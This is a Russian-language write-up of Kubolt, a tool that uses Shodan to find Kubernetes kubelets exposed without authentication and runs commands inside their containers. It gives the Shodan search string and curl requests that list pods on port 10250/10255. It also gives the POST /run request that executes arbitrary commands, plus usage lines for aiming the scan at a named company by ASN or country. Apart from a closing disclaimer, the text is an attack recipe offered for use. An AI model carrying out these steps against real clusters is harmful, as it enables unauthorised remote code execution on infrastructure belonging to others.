
Утилита Kubolt для сканирования публичных Kubernetes кластеров
Kubolt — это простая утилита для сканирования общедоступных неаутентифицированных кластеров Kubernetes и выполнения команд внутри контейнеров
Иногда порт kubelet 10250 открыт для несанкционированного доступа, что позволяет запускать команды внутри контейнеров с помощью функции getrun из kubelet:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
Хорошо, давайте спросим нашего друга Shodan :trollface:
Базовый запрос:
ssl:true port:10250 404
Kubelet по умолчанию использует порт 10250 с SSL, 404 — это HTTP-ответ без пути URL.
Kubolt запрашивает через API Shodan список IP-адресов и сохраняет их для других действий OSINT 😁
Сначала давайте запросим у Kubelet список запущенных подов и отфильтруем хосты, где ответ не содержит Unauthorized и содержит container, чтобы мы могли выполнить команду внутри.
curl -k https://IP-from-Shodan:10250/runningpods/
В любом случае, если вы нашли хост без запущенных подов на данный момент, сохраните его на следующий раз, когда поды могут быть запущены 😁
Вы можете вывести список всех доступных подов с помощью этих запросов:
curl -k https://IP-from-Shodan:10250/pods/
#или
curl http://IP-from-Shodan:10255/pods/
Затем kubolt анализирует ответ и генерирует новый запрос, как показано ниже:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Вы можете точнее нацеливаться на компании, используя фильтры Shodan, такие как:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#or
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt использует API Shodan и Query Credits соответственно; если вы запустите инструмент без фильтров запросов, вы, вероятно, сожжете все свои кредиты ¯\_(ツ)_/¯

Инструмент, предоставленный автором, следует использовать только в образовательных целях. Автор не может нести ответственность за неправильное использование инструмента. Автор не несет ответственности за любой прямой или косвенный ущерб, вызванный использованием инструмента.